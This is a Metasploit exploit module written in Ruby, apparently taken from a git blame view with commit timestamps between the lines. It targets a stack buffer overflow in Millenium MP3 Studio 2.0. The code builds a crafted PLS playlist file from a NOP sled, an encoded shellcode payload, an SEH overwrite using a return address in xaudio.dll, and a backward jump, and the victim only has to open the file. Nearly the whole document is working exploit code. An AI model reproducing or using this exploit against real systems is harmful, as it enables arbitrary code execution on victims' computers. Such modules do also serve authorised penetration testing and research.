2010-03-10 05:58:01 +00:00
|
|
|
##
|
2014-10-17 16:47:33 +00:00
|
|
|
# This module requires Metasploit: http://metasploit.com/download
|
2013-10-15 18:50:46 +00:00
|
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
2009-12-14 21:27:43 +00:00
|
|
|
##
|
|
|
|
|
|
|
|
require 'msf/core'
|
|
|
|
|
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
2013-08-30 21:28:54 +00:00
|
|
|
Rank = GreatRanking
|
2009-12-14 21:27:43 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
include Msf::Exploit::FILEFORMAT
|
|
|
|
include Msf::Exploit::Remote::Seh
|
2009-12-14 21:27:43 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
def initialize(info = {})
|
|
|
|
super(update_info(info,
|
|
|
|
'Name' => 'Millenium MP3 Studio 2.0 (PLS File) Stack Buffer Overflow',
|
|
|
|
'Description' => %q{
|
|
|
|
This module exploits a stack-based buffer overflow in Millenium MP3 Studio 2.0.
|
|
|
|
An attacker must send the file to victim and the victim must open the file.
|
|
|
|
Alternatively it may be possible to execute code remotely via an embedded
|
|
|
|
PLS file within a browser, when the PLS extention is registered to Millenium MP3 Studio.
|
|
|
|
This functionality has not been tested in this module.
|
|
|
|
},
|
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
'Author' => [ 'Molotov ', 'dookie', 'jduck' ],
|
|
|
|
'References' =>
|
|
|
|
[
|
|
|
|
[ 'OSVDB', '56574' ],
|
|
|
|
[ 'EDB', '9618' ],
|
|
|
|
[ 'EDB', '10240' ],
|
|
|
|
],
|
|
|
|
'DefaultOptions' =>
|
|
|
|
{
|
|
|
|
'EXITFUNC' => 'process',
|
|
|
|
'DisablePayloadHandler' => 'true',
|
|
|
|
},
|
|
|
|
'Payload' =>
|
|
|
|
{
|
|
|
|
'Space' => 1000,
|
|
|
|
'BadChars' => "\x00\x0a\x0d\x1a",
|
|
|
|
'StackAdjustment' => -3500,
|
|
|
|
},
|
|
|
|
'Platform' => 'win',
|
|
|
|
'Targets' =>
|
|
|
|
[
|
|
|
|
[ 'Windows Universal', { 'Ret' => 0x10015593 } ], #p/p/r in xaudio.dll
|
|
|
|
],
|
|
|
|
'Privileged' => false,
|
|
|
|
'DisclosureDate' => 'Jul 30 2009',
|
|
|
|
'DefaultTarget' => 0))
|
2009-12-14 21:27:43 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
register_options(
|
|
|
|
[
|
|
|
|
OptString.new('FILENAME', [ true, 'The file name.', 'msf.pls']),
|
|
|
|
], self.class)
|
|
|
|
end
|
2009-12-14 21:27:43 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
def exploit
|
2009-12-14 21:27:43 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
header = "[playlist]\r\n"
|
|
|
|
header << "NumberOfEntries=1\r\n"
|
|
|
|
header << "File1=http://"
|
2010-03-10 05:58:01 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
sploit = make_nops(4103 - payload.encoded.length)
|
|
|
|
sploit << payload.encoded
|
|
|
|
sploit << generate_seh_record(target.ret)
|
2010-03-10 05:58:01 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
sploit << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-" + (4103+8).to_s).encode_string
|
|
|
|
# note, one of the arguments get modified post overflow, so executing stuff below here is risky...
|
2009-12-14 21:27:43 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
filepls = header + sploit
|
2009-12-14 21:27:43 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
print_status("Creating '#{datastore['FILENAME']}' file ...")
|
2009-12-14 21:27:43 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
file_create(filepls)
|
2009-12-14 21:27:43 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
end
|
2010-03-10 05:58:01 +00:00
|
|
|
|
2009-12-14 21:27:43 +00:00
|
|
|
end
|